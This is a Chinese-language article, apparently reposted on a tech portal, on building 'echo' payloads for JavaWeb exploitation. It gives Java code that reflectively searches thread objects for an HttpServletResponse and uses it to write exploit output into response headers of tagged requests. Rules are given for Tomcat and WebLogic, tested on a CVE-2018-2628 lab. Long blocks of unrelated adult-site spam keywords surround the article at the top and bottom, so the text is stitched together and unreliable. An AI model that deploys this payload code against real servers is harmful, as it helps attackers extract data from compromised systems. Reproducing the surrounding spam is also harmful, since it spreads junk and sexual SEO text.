精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

一種基于規(guī)則的 JavaWeb 回顯方案

開發(fā) 前端
本文提出了幾種解決方案,包括暴力查找、模糊查找、精確查找(基于規(guī)則查找),各有優(yōu)缺點。基于規(guī)則的查找優(yōu)點在于每次添加一種新的框架、中間件支持只要加一個規(guī)則,有效的減少了 payload 體積。

背景

JavaWeb 回顯技術是做漏洞檢測和利用繞不過去的。由于反連檢測會受網絡影響,對于內網或是網絡環(huán)境差的場景有漏報的風險。所以本文研究下 JavaWeb 的回顯。

回顯原理

只看 Java 層面上的回顯,一次 HTTP 的請求到響應大概像下面這樣,這里我將 Servlet、Socket 抽象出來,方便理解。

可以看見 Java 對于 http 請求處理還是基于 Socket 的,Java 可以通過 JNI 調用系統(tǒng) api 來讀寫 Socket。每個 TCP 連接對應一個文件描述符,也對應著一個 Socket 對象,我們可以通過遍歷文件描述符實現遍歷 Socket,通過 Remote 端的 ip 和端口可以過濾出當前 HTTP 請求的 Socket,就可以隨意寫響應包了。再往上一層看,如果想開發(fā) Java EE 項目,那么要先實現一個 Servlet,處理請求時要處理 HttpServletRequest、HttpServletResponse。那么如果能拿到 HttpServletResponse 就可以寫響應了。

對比兩種方法,如果使用 Socket 回顯,優(yōu)點在于很通用。但缺點是在惡意代碼執(zhí)行時,請求信息已經被讀取了,所以只能通過 ip、port 區(qū)分遠程目標,寫入響應,所以如果網絡經過轉發(fā),不能獲取到源 ip 就會有問題。如果使用 Servlet 回顯,難點在于如何快速查找實現了 HttpServletRequest 的對象。本文主要針對這個問題進行分析。

對象查找

由于 Java 是面向對象編程,且不存在閉包,所以對象只能像一棵樹一樣,不在這棵樹上的對象就會被GC,所以我們查找線程對象,遞歸找它的 field、class 靜態(tài)成員。

暴力查找

其實已經有師傅實現了查找工具:https://github.com/c0ny1/java-object-searcher,但不適合直接做 payload。我這里寫了一個簡略版的暴力查找工具(這里用了樹儲存所有路徑,如果做為 payload,其實可以再精簡下的)。

package com.example.springtest.utils;

import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;

public class Searcher1 {
    int maxDeep;
    Pattern pattern;
    public Searcher1(int n){
        maxDeep = n;
        pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
    }
    public Node SearchResponse(Object o) {
        Node root = new Node(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
        if (searchResponse(o,root,new HashSet<Object>(),0)){
            return root;
        }else {
            return null;
        }
    }
    boolean searchResponse(Object o, Node node, Set searched, int deep) {
        if (o instanceof HttpServletResponse){
            return true;
        }
        if (o == null){
            return false;
        }
        deep++;
        if (deep > maxDeep){
            return false;
        }
        if (searched.contains(o)){
            return false;
        }
        if (pattern.matcher(o.getClass().getName()).find()){
            return false;
        }
        searched.add(o);

        if (o.getClass().isArray()){ // 數組
            try{
                Object[] os = (Object[]) o;
                for (int i = 0; i < (os).length; i++) {
                    Object o1 = os[i];
                    Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        node.Add(newNode);
                    }
                }
            }catch (Exception e){
                throw e;
            }
        }else if (o instanceof Iterable){ // 可迭代對象
            try{
                int i = 0;
                Iterator<?> iterator = ((Iterable<?>) o).iterator();
                while (iterator.hasNext()) {
                    Object o1 = iterator.next();
                    Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        node.Add(newNode);
                    }
                    i++;
                }
            }catch (Exception e){

            }
        }else{
            Class clazz = o.getClass();
            do {
                Field[] fields = clazz.getDeclaredFields();
                for (Field field :
                        fields) {
                    try {
                        field.setAccessible(true);
                        Object fieldObj = field.get(o);
                        Node newNode = new Node("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
                        if (searchResponse(fieldObj,newNode,searched,deep)){
                            node.Add(newNode);
                        }
                    } catch (Exception ignored) {
                    }
                }
                clazz = clazz.getSuperclass();
            } while (clazz != null && clazz != Object.class);
        }
        if (node.Children.size() > 0){
            return true;
        }
        return false;
    }
}

對于通用回顯 payload,最簡單的實現方法就是在 payload 中查找 Response 對象。缺點是而且對于小機器來說可能是比較大的性能開銷,會有響應慢,甚至丟失的問題。但好處是很通用,所以也不是不可以接受。

模糊查找

暴力查找顧名思義,查找比較暴力,速度慢,但成功率高。那有沒有辦法通過一些特征,對查找過程進行剪枝呢?例如:一般會在線程的 table 中,一般 HttpServletResponse 實現對象的類型名或屬性名中會有 Response 相關字符串等等特征。根據上面暴力查找到的路徑提取特征,在查找過程中根據特征有指向性地查找,速度會快很多,特征越寬泛查找成功率越高,速度越慢,相反就成功率低,速度快。

下面是調試時的部分代碼:

package com.example.springtest.utils;

import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.regex.Pattern;

public class Searcher {
    Pattern pattern = null;
    int maxDeep = 0;
    HashMap<String,Integer> typesRecord = null;
    public class SearchResult{
        public Object o;
        public List path;
        public SearchResult(Object o,List p){
            this.o = o;
            path = p;
        }
    }

    public Searcher(){
        pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
        typesRecord = new HashMap<String,Integer>();
    }
    public SearchResult FindObjectByFeature(Object o, String features, int maxSingleFeatureDeep,int maxTotalDeep) throws IllegalAccessException {
        String[] ds = features.split(",");
        Pattern[] array = new Pattern[ds.length];
        for (int i = 0; i < ds.length; i++) {
            array[i] =Pattern.compile(ds[i]);
        }
        return findObjectByFeature(o,array,new ArrayList(),new HashSet<>(),maxSingleFeatureDeep,maxSingleFeatureDeep,0,maxTotalDeep);
    }
    /*** 可能存在的問題:
     * 1. 查找到某個類符合路徑中某個節(jié)點的特征,但還沒檢查到這個節(jié)點,被加到黑名單中,下次到了這個節(jié)點時可能會查不到這個類
     * 2. 沒有處理map
     * 3. 沒有處理多個符合特征的對象的情況
     * 4. 當有多個請求同時存在時應該找到用于檢測的請求
     * 5. 不是最短路徑
     ***/
    public SearchResult findObjectByFeature(Object o, Pattern[] features,List trace, HashSet<Object> searched,int n,int maxSingleFeatureDeep,int deep,int maxTotalDeep) throws IllegalAccessException {
        if (o == null || n == 0 || deep > maxTotalDeep){
            return new SearchResult(null,null);
        }
        List newTrace = new ArrayList(trace.size());
        newTrace.addAll(trace);
        newTrace.add(o);
//        for (int i = 0; i < deep; i++) {
//            System.out.print("\t");
//        }
//        System.out.println(o.getClass().getName());
//        if (searched.contains(o)){
//            return null;
//        }
        searched.add(o);
        if (deep > maxDeep){
            maxDeep = deep;
        }
        if (pattern.matcher(o.getClass().getName()).find()) {
            return new SearchResult(null,null);
        }
        if (o.getClass().isArray()){
            try{
                for (Object o1 : (Object[]) o) {

                    SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                    if (res.o!=null){
                        return res;
                    }
                }
            }catch (Exception e){

            }
        }
        if (o instanceof Iterable){
            try{
                Iterator<?> iterator = ((Iterable<?>) o).iterator();
                while (iterator.hasNext()) {
                    Object o1 = iterator.next();
                    SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                    if (res.o!=null){
                        return res;
                    }
                }
            }catch (Exception e){

            }
        }

        List<Object> nextTargets = new ArrayList<>();
        List<Object> uselessFields = new ArrayList<>();
        Class clazz = o.getClass();
        String cName = clazz.getName();
        if (typesRecord.containsKey(cName)){
            typesRecord.put(clazz.getName(),typesRecord.get(clazz.getName())+1);
        }else{
            typesRecord.put(clazz.getName(),1);
        }
//        找出可疑目標
        do {
            Field[] fields = clazz.getDeclaredFields();
            for (Field field :
                    fields) {
                try {
                    field.setAccessible(true);
                    Object fieldObj = field.get(o);

                    if (fieldObj == null || pattern.matcher(fieldObj.getClass().getName()).find()) {
                        continue;
                    }
                    if (features.length != 0 && features[0].matcher(fieldObj.getClass().getName()).find()) {
                        nextTargets.add(fieldObj);
                    } else {
                        uselessFields.add(fieldObj);
                    }
                } catch (Exception ignored) {
                }
            }
            clazz = clazz.getSuperclass();
        } while (clazz != null && clazz != Object.class);

// 先搜索可疑目標
        if (nextTargets.size() != 0){
            for (Object nextTarget :
                    nextTargets) {
                SearchResult res = findObjectByFeature(nextTarget, Arrays.copyOfRange(features, 1, features.length),newTrace,searched, maxSingleFeatureDeep,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                if (res.o!=null){
                    return res;
                }
            }
        }
//        搜索非直接目標
        if (uselessFields.size() != 0){
            for (Object nextTarget :
                    uselessFields) {
                if (nextTarget instanceof HttpServletResponse){
                    return new SearchResult(nextTarget,newTrace);
                }
                SearchResult res = findObjectByFeature(nextTarget, features,newTrace,searched, n-1,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                if (res.o!=null){
                    return res;
                }
            }
        }
        return new SearchResult(null,null);
    }
    public void DumpInfo(){
        System.out.printf("最大遞歸深度: %d\n",maxDeep);
        List<Map.Entry<String, Integer>> list = new ArrayList<>(typesRecord.entrySet());
        AtomicInteger s = new AtomicInteger();
        typesRecord.forEach((c,c1)->{
            s.addAndGet(c1);
        });
        System.out.println("訪問對象數量: "+s);

        Collections.sort(list, (o1, o2) -> o2.getValue().compareTo(o1.getValue()));

        if (list.size() > 0){
            System.out.println("訪問次數最多的類是: "+list.get(0).getKey()+", 次數是: "+list.get(0).getValue());
        }
        for (Map.Entry<String, Integer> d:
                list) {
            System.out.printf("%s: %s\n",d.getKey(),d.getValue());
        }

    }
}

精確查找

一般在寫回顯時師傅們都是通過調試或 Java-object-searcher 查找路徑,然后根據路徑寫回顯 payload,實現針對某種框架、中間件的回顯。

但如果想支持多種框架、中間件,簡單粗暴的辦法就是將這些 payload 揉到一起,但這樣就會導致 payload 過大。

所以,既然知道了路徑,那可以嘗試將路徑作為規(guī)則,控制查找過程,精確查找 Response 對象。

生成路徑圖

下面是部分代碼:

package com.example.springtest.utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.Base64;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;

public class searchShell  {
        String hash;
        String name;
        public Object Data;
        List<searchShell> Children;
    searchShell(String name,Object o){
            this.name = name;
            this.hash = String.valueOf(System.identityHashCode(o));
            Data = o;
            Children= new ArrayList();
        }
        void Add(searchShell o){
            Children.add(o);
        }

        void toDot(PrintWriter out) {
            out.printf("  \"%s\"", hash);
            if (Data != null) {
                out.printf(" [label=\"%s\"]", name);
            }
            out.println(";");

            for (searchShell child : Children) {
                child.toDot(out);
                out.printf("  \"%s\" -> \"%s\";\n", hash, child.hash);
            }
        }

        public String dump() {
            ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
            PrintWriter out = new PrintWriter(new OutputStreamWriter(byteStream));
            out.println("digraph G {");
            toDot(out);
            out.println("}");
            out.close();
            return byteStream.toString();
        }
        private List<searchShell> getAllTerminalNodes(searchShell searchShell){
            List<searchShell> res = new ArrayList();
            if (searchShell.Children.size() == 0){
                res.add(searchShell);

            }else{
                for (searchShell n :
                        searchShell.Children) {
                    for (searchShell r :getAllTerminalNodes(n)
                    ) {
                        res.add(r);
                    }
                }
            }
            return res;
        }
        public List<searchShell> GetAllTerminalNodes(){
            Set set = new HashSet();
            List<searchShell> res = new ArrayList<searchShell>();
            for (searchShell n :
                    getAllTerminalNodes(this)) {
                int hash = System.identityHashCode(n.Data);
                if (!set.contains(hash)){
                    res.add(n);
                    set.add(hash);
                }
            }
            return res;
        }
    
    int maxDeep;
    Pattern pattern;
    public searchShell(){
        System.out.println("new searchShell");
        maxDeep = 20;
        pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
        try{
            searchShell root = this.SearchResponse(Thread.currentThread());
            List<searchShell> res = root.GetAllTerminalNodes();
            int i = 0;
            for (searchShell r :
                    res) {
                String tag = String.format("tag%d",i);
                Field req =             r.Data.getClass().getDeclaredField("request");
                req.setAccessible(true);
                Object o = req.get(r.Data);
                if (o instanceof HttpServletRequest){
                    if (((HttpServletRequest)o).getHeader("tag").equals("1")){
                        ((HttpServletResponse)r.Data).addHeader(tag,Base64.getEncoder().encodeToString(root.dump().getBytes()));
                    }
                }
                i++;
            }
        }catch (Exception e){
        }
    }

    public searchShell SearchResponse(Object o) {
        searchShell root = new searchShell(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
        if (searchResponse(o,root,new HashSet<Object>(),0)){
            return root;
        }else {
            return null;
        }
    }
    boolean searchResponse(Object o, searchShell searchShell, Set searched, int deep) {
        if (o instanceof HttpServletResponse){
            return true;
        }
        if (o == null){
            return false;
        }
        deep++;
        if (deep > maxDeep){
            return false;
        }
        if (searched.contains(o)){
            return false;
        }
        if (pattern.matcher(o.getClass().getName()).find()){
            return false;
        }
        searched.add(o);

        if (o.getClass().isArray()){ // 數組
            try{
                Object[] os = (Object[]) o;
                for (int i = 0; i < (os).length; i++) {
                    Object o1 = os[i];
                    searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        searchShell.Add(newNode);
                    }
                }
            }catch (Exception e){
                throw e;
            }
        }else if (o instanceof Iterable){ // 可迭代對象
            try{
                int i = 0;
                Iterator<?> iterator = ((Iterable<?>) o).iterator();
                while (iterator.hasNext()) {
                    Object o1 = iterator.next();
                    searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        searchShell.Add(newNode);
                    }
                    i++;
                }
            }catch (Exception e){

            }
        }else{
            Class clazz = o.getClass();
            do {
                Field[] fields = clazz.getDeclaredFields();
                for (Field field :
                        fields) {
                    try {
                        field.setAccessible(true);
                        Object fieldObj = field.get(o);
                        searchShell newNode = new searchShell("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
                        if (searchResponse(fieldObj,newNode,searched,deep)){
                            searchShell.Add(newNode);
                        }
                    } catch (Exception ignored) {
                    }
                }
                clazz = clazz.getSuperclass();
            } while (clazz != null && clazz != Object.class);
        }
        if (searchShell.Children.size() > 0){
            return true;
        }
        return false;
    }
}

這個 payload 是一個自動查找 Response 的,查找結果是一棵樹,如果查找成功會根據這棵樹生成一個 dot 腳本,并在 header 回顯,如圖:

在本機中將腳本生成圖片,一共有4條路徑,2個 Response 對象,但是否條條大路通回顯還需要測一下。

測試回顯

測試下這兩個 Response 對象。

兩個都可以成功在 Header 回顯。

篩選請求

找到 Response 了,那怎么判斷當前 Response 是對應著我們發(fā)出的請求呢?(如果不對應上可能會回顯在別人的請求中)本來把希望寄托在 HttpServletResponse 接口,但看了下沒有定義任何獲取 Request 相關的函數(這難道不應該把上下文存一下嗎?)。

當前測試的代碼是在 tomcat 環(huán)境下,HttpServletResponse 的實現類是 org.apache.catalina.connector.Response,其類定義中有 request 屬性,我又看了下 weblogic 的實現類是 weblogic.servlet.internal.ServletResponseImpl,也定義了 request 屬性,而且剛好都是 HttpServletRequest 的實現。所以可以猜測,雖然 HttpServletResponse 未定義獲取請求對象的接口,但是開發(fā)者們都很自覺的在實現類里定義了。

既然有 Response 對象,且存在 request 屬性(至少 tomcat 和 weblogic 存在,如果有沒定義 request 的,先噴一下他們開發(fā),再改 payload 吧),那么我們就可以篩選出帶有特定標簽的請求做回顯了。

如圖:

簡化查找過程

根據上面暴力查找得到的路徑圖,我嘗試將最短路徑作為規(guī)則,并讓它根據規(guī)則進行查找,對于上面的環(huán)境,我選擇這條路徑做為規(guī)則:

weblogic 環(huán)境:vulhub/weblogic/CVE-2018-2628,通過加載暴力查找 .class,得到路徑圖如下,只有一個對象。

下面根據路徑規(guī)則,自動查找 Response,這里暫時只加了 Tomcat 和 Weblogic 的規(guī)則,后續(xù)可以通過加入更多的規(guī)則。

代碼如下:

package com.example.springtest;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;

public class multiEcho {
    public static Object getField(Object o,String feature) {
        int n = 0;
        for (Class<?> clazz = o.getClass(); clazz != null; clazz = clazz.getSuperclass(),++n) {
            try {
                Field field = clazz.getDeclaredField(feature);
                field.setAccessible(true);
                return field.get(o);
            } catch (Exception e) {
                if (n > 2){
                    return null;
                }
            }
        }
        return null;
    }

    public static Object getTargetByRouteFeatures(Object o,String[] features) throws Exception {
        for (String feature:
                features) {
            String[] split = feature.split("\\|");
            o = getField(o,split[0]);
            if (o==null)
                return null;
            if (o.getClass().isArray() && split.length > 1){
                for (int i = 0; i < Array.getLength(o); i++) {
                    Object o1 = Array.get(o,i);
                    if (o1!=null)
                        o1 = getTargetByRouteFeatures(o1,split[1].split("_"));
                    if (o1!=null){
                        o = o1;
                        break;
                    }
                }
            }
        }
        if (o instanceof HttpServletResponse){
            return o;
        }
        return null;
    }
    public multiEcho() throws Exception{
        String[] rules = {"workEntry,response","threadLocals,table|value_response,response"};
        for (int i = 0; i < rules.length; i++) {
            try{
                HttpServletResponse rsp = (HttpServletResponse) getTargetByRouteFeatures(Thread.currentThread(),rules[i].split(","));
                Field req =  rsp.getClass().getDeclaredField("request");
                req.setAccessible(true);
                Object o = req.get(rsp);
                if (o instanceof HttpServletRequest){
                    if (((HttpServletRequest)o).getHeader("tag").equals("1")){
                        ((HttpServletResponse)rsp).addHeader("tag","haha");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

總結

本文提出了幾種解決方案,包括暴力查找、模糊查找、精確查找(基于規(guī)則查找),各有優(yōu)缺點。基于規(guī)則的查找優(yōu)點在于每次添加一種新的框架、中間件支持只要加一個規(guī)則,有效的減少了 payload 體積。而規(guī)則可以通過 payload 生成路徑圖,選取最短路徑來編寫。歡迎師傅們有更好的想法或建議可以一起交流。

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2018-06-07 10:29:34

SDN服務器負載均衡

2022-07-13 11:49:18

接口遷移方案

2009-06-03 15:38:37

Struts框架RBAC

2016-03-21 13:24:22

apk安卓開發(fā)

2012-03-31 10:53:43

ibmdw

2022-06-22 09:44:41

Python文件代碼

2022-07-07 10:33:27

Python姿勢代碼

2020-12-23 10:10:23

Pythonweb代碼

2020-12-09 10:15:34

Pythonweb代碼

2014-12-01 09:54:40

JavaScript

2018-05-29 09:00:00

LinuxBTFS文件系統(tǒng)

2018-12-29 09:25:05

區(qū)塊鏈數據經濟區(qū)塊鏈技術

2009-12-15 19:18:39

Ruby源代碼

2025-07-14 00:40:00

Node.js代碼信號

2017-08-01 18:06:56

2016-09-20 12:49:29

2022-09-27 08:04:37

Adapter?設計模式

2021-04-08 10:19:39

人工智能機器學習知識圖譜

2022-02-20 09:46:17

僵尸網絡加密貨幣網絡安全

2024-03-29 11:13:17

云計算人工智能
點贊
收藏

51CTO技術棧公眾號

免费国产在线精品一区二区三区| 国产一区二区三区视频免费| 波多野结衣与黑人| 欧美视频一二区| 久久人人97超碰国产公开结果| 一道本无吗dⅴd在线播放一区| 国产精品探花在线播放| 成人免费图片免费观看| 国产精品无人区| 国产欧美日本在线| 在线观看中文字幕码| 国产精品99一区二区| 亚洲色图综合久久| 中国极品少妇xxxx| 亚洲欧美久久精品| 欧美性猛交xxxx免费看久久久| 国产91av视频在线观看| 你懂的在线观看| 国产电影一区二区三区| 国产精品福利网站| 国产无遮挡又黄又爽在线观看| 成人羞羞网站入口免费| 亚洲国内精品在线| 亚洲天堂小视频| 国产美女久久| 91福利社在线观看| 一女被多男玩喷潮视频| 日本aa在线| 亚洲人成网站精品片在线观看| 欧美在线播放一区二区| 日本精品久久久久| 国产aⅴ综合色| 91午夜理伦私人影院| 波多野结衣电车痴汉| 国产欧美另类| 91精品国产自产91精品| 久久久美女视频| 亚洲先锋影音| 日韩在线观看免费高清| 91资源在线播放| 国产一区二区三区四区五区| 亚洲国产成人一区| 影音先锋资源av| 中文在线综合| 日韩欧美视频一区| 成人精品一区二区三区电影免费| 91精品国产乱码在线观看| 在线看片欧美| 韩国精品美女www爽爽爽视频| 波多野结衣亚洲色图| 在线成人直播| 欧美高清视频在线| 久久久综合久久久| 亚洲一级二级| 1769国产精品| 天天干天天色综合| 日本欧洲一区二区| 国产精品自产拍在线观| 亚洲怡红院av| 国产美女娇喘av呻吟久久| 91九色蝌蚪成人| 超碰在线观看av| 99re视频精品| 欧美裸体网站| 2021av在线| 亚洲日本丝袜连裤袜办公室| 肉大捧一出免费观看网站在线播放| av网址在线播放| 亚洲国产精品尤物yw在线观看| 和岳每晚弄的高潮嗷嗷叫视频| 成人在线免费观看黄色| 欧美日韩激情视频| 激情综合网俺也去| 四虎国产精品成人免费影视| 欧美大片在线观看| 免费无码一区二区三区| 精品国产精品国产偷麻豆| 欧美一二三区在线| 精品久久久久一区二区| 久久91精品| 久久资源免费视频| 精品国产乱码一区二区| 蜜乳av一区二区| av电影成人| 黄色片在线免费看| 亚洲女子a中天字幕| 5月婷婷6月丁香| 24小时成人在线视频| 337p日本欧洲亚洲大胆精品 | 国产精品999视频| 精品日本视频| 亚洲精品在线观| 国产精品成人在线视频| 国产精品jizz在线观看美国| 欧美一级高清免费播放| 国产剧情久久久| 91美女在线视频| 99中文字幕在线观看| 国产精品av一区二区三区 | 国产日韩精品在线看| 亚洲精品国产第一综合99久久| 欧美 日韩 激情| 不卡一区视频| 国产亚洲精品久久久久久777| 久久久久亚洲av片无码下载蜜桃| 日韩成人午夜精品| 国产欧美一区二区视频| 超碰porn在线| 在线观看欧美黄色| 自拍视频一区二区| 中文字幕日韩欧美精品高清在线| 日韩av电影国产| 亚洲老妇色熟女老太| 中文字幕av在线一区二区三区| 成人午夜免费在线| 国产午夜精品一区在线观看| 一区二区三区日韩在线| 日本一本高清视频| 国产精品一区二区男女羞羞无遮挡| 欧美美乳视频网站在线观看| √天堂8资源中文在线| 91精品国产全国免费观看| 无码少妇一区二区| 欧美中文字幕| 精品乱码一区二区三区| 亚洲区欧洲区| 欧美精品在线观看播放| 国产精品成人在线视频| 爽好多水快深点欧美视频| 久久爱av电影| 高潮在线视频| 亚洲国产精品成人av| 久久中文字幕在线观看| 国产乱码精品1区2区3区| 亚洲一区二区三区免费观看| 亚洲国产尤物| 国产亚洲欧洲高清一区| 国产免费一区二区三区四区五区| 99久久久免费精品国产一区二区| 日韩欧美猛交xxxxx无码| 久久丁香四色| 欧美成人性色生活仑片| 国产人妖一区二区三区| 亚洲欧洲av另类| 天堂视频免费看| 国产精品麻豆久久| 成人观看高清在线观看免费| avtt亚洲| 欧美精品一卡两卡| 永久免费看黄网站| 国产suv一区二区三区88区| 嫩草影院中文字幕| 岛国精品一区| 91国产中文字幕| 日韩一级免费一区| 免费一级片在线观看| 国产成人精品午夜视频免费| 中文精品无码中文字幕无码专区| jazzjazz国产精品久久| 97久久久久久| 国产高清一区在线观看| 欧美日韩一区二区在线观看视频| 黄色片网站在线播放| 国产一区亚洲一区| 国产精品久久久久久久乖乖| 国内精品偷拍| 国产精欧美一区二区三区| porn视频在线观看| 91精品国产91久久久久久最新毛片| 欧美人妻精品一区二区三区| av中文字幕一区| 成人在线观看黄| 91日韩在线| 国产欧美一区二区视频| 澳门av一区二区三区| 久久精品欧美视频| 欧美特黄一级视频| 在线视频观看一区| av成人免费网站| 91在线视频观看| 国产精品久久久毛片| 中文字幕一区二区三区欧美日韩| 国产伦精品一区二区三区在线| 在线观看涩涩| 久久伊人精品视频| 台湾av在线二三区观看| 欧美日韩成人综合在线一区二区| 免费视频一二三区| 国产日韩欧美激情| 成人免费播放视频| 日韩高清一级片| 日本精品久久久久久久久久| 国产探花一区二区| 91av一区二区三区| 播放一区二区| 国内精品久久久久久影视8| 97视频在线观看网站| 日韩欧美电影一区| 伊人色综合久久久| 亚洲va在线va天堂| 内射一区二区三区| 国产日韩精品一区| 欧美肉大捧一进一出免费视频 | 亚洲成人福利视频| 秋霞午夜av一区二区三区| 欧美一级视频在线播放| 日韩精品欧美| 欧美aaaaa喷水| jizz国产精品| 成人乱色短篇合集| 国产综合色激情| 色一区在线观看| 久久网中文字幕| 中文乱码免费一区二区| 午夜视频在线观看国产| 精品在线播放午夜| 午夜精品久久久内射近拍高清| 伊人青青综合网| 先锋在线资源一区二区三区| av日韩精品| 亚洲自拍中文字幕| 成人黄色毛片| 国产精品大陆在线观看| 日韩电影免费看| 久久久久久国产| 成人在线播放免费观看| 在线视频中文亚洲| 国产中文字幕在线看| 日韩成人在线观看| 三级网站在线看| 日韩精品专区在线影院重磅| 国产精品久久久久久久久毛片| 欧美性大战久久| 69亚洲精品久久久蜜桃小说| 日韩欧美黄色动漫| 国产成人综合欧美精品久久| 午夜欧美在线一二页| 男女免费视频网站| 一区二区三区日韩欧美| 国产激情无码一区二区三区| 国产精品久久三区| 亚洲AV成人无码网站天堂久久| 国产农村妇女毛片精品久久麻豆| 免费看污片网站| 国产亚洲午夜高清国产拍精品| 深爱五月激情网| 久久亚洲影视婷婷| 免费看黄色的视频| 中文字幕av在线一区二区三区| 人人爽人人爽人人片| 中文字幕av免费专区久久| 香蕉久久久久久久| 中文字幕欧美一区| 成人在线观看小视频| 亚洲精品美国一| 久久免费公开视频| 天天av天天翘天天综合网色鬼国产| 伊人365影院| 狠狠躁18三区二区一区| 色av性av丰满av| 欧美亚一区二区| 97人妻精品一区二区三区软件| 欧美一区日韩一区| 懂色av蜜臀av粉嫩av分享吧| 亚洲国产精品人久久电影| 日韩偷拍自拍| 一区三区二区视频| www.在线视频| 韩国日本不卡在线| 成人做爰视频www网站小优视频| 国产精品一二三在线| 国色天香久久精品国产一区| 97久久精品午夜一区二区| 黄色欧美网站| 日本视频一区二区在线观看| 亚洲国产老妈| 国产午夜福利100集发布| 日韩精品一二区| 手机精品视频在线| 99精品视频在线播放观看| 97超碰在线资源| 国产精品国模大尺度视频| 激情综合五月网| 色婷婷久久一区二区三区麻豆| 亚洲无码精品在线观看| 欧美va天堂va视频va在线| 欧洲一区av| 蜜臀久久99精品久久久久久宅男 | 熟女俱乐部一区二区视频在线| 久久综合九色综合97_久久久| 人妻少妇无码精品视频区| 成人免费在线观看入口| 日本中文字幕免费观看| 欧美午夜电影一区| 亚洲精品久久久久久久久久久久久久 | 久久久久高清精品| 99自拍视频在线| 天天综合色天天综合| 亚洲一区中文字幕永久在线| 亚洲大胆人体视频| aaa在线免费观看| 精品中文字幕在线2019| 欧美大片1688| 99热最新在线| 日韩在线观看| 91视频 -- 69xx| 国产一区二区三区视频在线播放| 蜜桃精品成人影片| 亚洲精品欧美二区三区中文字幕| 日韩欧美不卡视频| 欧美一区二区性放荡片| 成人高清免费在线播放| 国内外成人免费激情在线视频| 四虎国产精品免费久久| 日本视频精品一区| 亚洲女同同性videoxma| 成人啪啪18免费游戏链接| 国产精品丝袜91| 黄色一级视频免费看| 亚洲国产精品热久久| 色呦呦在线视频| 成人黄色网免费| 青青草原综合久久大伊人精品 | 九九视频免费观看| 欧美日韩精品一区二区三区 | 亚洲天堂av老司机| 国产精品第六页| 亚洲欧美中文在线视频| 激情国产在线| 国产精品免费一区二区三区在线观看 | 日韩精品一区二区三区中文在线| 色一情一乱一伦一区二区三区| 亚洲一级在线| 国产亚洲无码精品| 天涯成人国产亚洲精品一区av| 亚洲第一页综合| 欧美日韩国产二区| 午夜精品在线| av日韩在线看| 国产高清不卡二三区| 美国黄色小视频| 精品久久久久久久人人人人传媒| 操你啦视频在线| 999视频在线观看| 欧美99久久| 人妻互换一二三区激情视频| 一区二区三区不卡视频| 精品国产无码一区二区三区| 久久夜色精品国产| 日韩高清在线观看一区二区| 91精品国产吴梦梦| 国产成人精品三级| 久草视频精品在线| 日韩大片免费观看视频播放| 蜜桃av在线| 欧美午夜视频在线| 男男成人高潮片免费网站| 国产wwwwxxxx| 日韩一区二区三区视频在线| 丝袜国产在线| 国产日产精品一区二区三区四区| 亚洲综合日本| 性猛交娇小69hd| 这里只有精品99re| 欧美人与动牲性行为| 九9re精品视频在线观看re6| 国产精品永久| 日本一道本视频| 7777精品伊人久久久大香线蕉经典版下载| 黄av在线播放| 国产精品久久7| 丝袜美腿一区二区三区| 97在线观看视频免费| 日韩女优电影在线观看| 深夜成人在线| 在线综合视频网站| 成人午夜视频在线观看| 亚洲天堂av片| 久久精品福利视频| 免费观看成人www动漫视频| 色综合天天色综合| 一区二区在线观看av| 欧美性孕妇孕交| 91在线直播亚洲| 亚洲综合不卡| 懂色av懂色av粉嫩av| 国产视频欧美视频| 国产美女久久| 日日橹狠狠爱欧美超碰| 国产精品乱码妇女bbbb| 人妻无码一区二区三区久久99| 国产精品扒开腿做| 在线观看一区| 欧美性猛交xxxx乱大交少妇| 亚洲第一在线视频| 亚洲国产一区二区久久| 国产精品丝袜久久久久久消防器材| 国产精品国产馆在线真实露脸| 色呦呦免费观看| 成人激情av在线|